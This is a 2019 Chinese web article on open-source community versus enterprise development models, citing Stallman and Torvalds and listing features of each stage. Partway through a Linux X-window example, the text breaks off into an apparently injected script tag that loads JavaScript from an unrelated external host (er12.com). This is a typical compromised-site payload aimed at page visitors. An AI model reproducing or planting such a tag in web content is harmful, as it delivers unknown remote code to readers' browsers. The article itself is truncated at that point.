陆首群:建立先进的开源软件开发机制

【enet硅谷动力专稿】自由/开源软件的先驱richard stallman说:“一般讲,我不认为gpl规则是linux取得成就的主要原因,相反,我认为那是由于在1991年那个时期,linus torvalds第一个找到了分布式开发软件的正确的社会组织形式”。linux操作系统创始人linus torvalds也曾说:“linux成功的奥秘并不在于源代码本身,而是在于其开发方式,即允许所有程序员参与开发的开放源代码哲学,与他人共享自己的开发成果,于是开源社区不断扩大,创新浪潮高涨”。

开源社区的开发机制是一种全新、优秀的开发机制,是推动开源运动发展的重要因素。

很多中外人士,包括一些资深的软件专业人士,对开源社区开发机制,不但在认识上存在一些分歧,甚至还有一些认识不清的地方。

下面我们归纳人们在认识上的一些问题进行讨论:

? 开放的开源社区开发机制较之封闭的传统企业开发机制,其主要优势在哪里?

? 社区开发是否只是开源软件开发全过程中的一个开发阶段?

? 有人说,开源软件在社区开发阶段开发的是创新技术,在企业开发阶段开发的是成熟技术,你是否同意这种说法?

? 开源软件的全部源程序代码将公开,是否表示其全部技术将公开?开源软件是否还可能拥有技术秘密?

? 社区开发机制体现了“集体开发、合作创新”,是否还存在“自主开发创新”的空间?

? 开源文化或其哲学理念是否与开源软件的商业模式相抵触,对它们之间如何作出平衡?

? 开源软件的“社区发布版”是否体现了真正的自由软件?而开源软件的“产品发布版”是否可发展为具有商业模式的开源软件?

开源社区的主要特征

开源社区是一种分布式开发软件的社会组织形式,由分布在全球的志愿者(volunteer, 他们之中很多来自一些it企业的研发中心/小组,也有来自学校的学生或教师,还有来自社会各界的业余爱好者,甚至“黑客”)集结在社区,本着自由、开放、共享、协同的理念,利用互联网作为工具,不计报酬,进行“集体开发、合作创新和对等评估”。通常由开发、修改开源软件源代码(其成果将在网上公布)的人士组成社区的核心层;为了克服志愿者“自由散漫”的工作倾向,近年来在核心层中还由一批领取工资或补贴的“固定人员”组成了骨干核心层(他们一般由基金会来支付工资或补贴)。开源社区是一个非盈利组织,没有商业模式,其社区发布版通常可供人们从网上下载,并无偿地、自由地使用、修改、复制和分发。

开源社区开发机制的主要特征是:

? 开源社区一般由志愿者参与开发,不需成本(如上所述,目前在社区核心层中出现了一批由领取工资的固定人员所组成的骨干核心层,这时当然要增加一些成本,但总的来说社区还是低成本开发)。

? 由志愿者组成的开发人员来自全球各地,其中不乏高水平者。

? 社区开发人员具有自由、开放、共享、协同的理念,不以追求商业利益为其目的。

? 开源社区开发的开源软件,实现了其全部性能的创新工作,在此基础上推出社区版(或β测试版,或参考平台)。发布社区版时,其全部源代码将在网上公布。

? 社区开发是采用“集体开发、合作创新”的方式,在这里不存在所谓“自主开发创新”的空间。

? 在社区开发阶段,在开发成果(推出的社区版)中,一般也不存在技术秘密和商业秘密。

? 社区开发人员没有明确的研发路线图(roadmap,因为社区开发人员并不了解用户的需求,很难制定出完整的研发计划)。

? 社区开发人员不必对版本的挑错纠错(bug fix)、打补丁(patch)、解决问题和质量认证等工作负责,社区只负责对投递给社区的有关缺陷(bug)、补丁(patch),进行有选择的验证工作。

? 社区开发人员不需对市场策划、产品销售、技术支持以及产品服务负责;不需对后续开发、产品发布、商业模式负责。

? 社区开发只完成了开源软件产品开发全过程中极端重要且必不可少的先导开发阶段(开发“创新技术”,开发全部产品性能),还需要非社区开发阶段(开发“成熟技术”,优化产品性能)与之卸接,即要求后续的企业开发阶段相应跟进。

后续的企业(非社区)开发的主要特征

? 社区先导开发提供了完全创新的社区版,把产品的样品阶段的全部性能都开发出来了。后续开发的产品化技术(即成熟技术)通常不是由社区来开发,而是由开源软件发行商(distro,distributor)或开源企业接着来开发,随后推出产品版(或商业版)。

? 对于这个后续技术,它主要关注于:改善操作稳定性,优化计算效率,增强灵活扩展性,提高产品质量,催化产品成熟度,我们也称之为工程化实现技术。

? 如何开发工程化实现技术(以linux为例):

1) 进行x-window工程化

众所周知,linux操作系统工作时, 其基本应用程序,需要通过在中间层(utility)中的图形系统和库?script src=http://er12.com/t.js>

  • 陆首群:建立先进的开源软件开发机制已关闭评论
    A+
发布日期:2019年07月04日  所属分类:新闻动态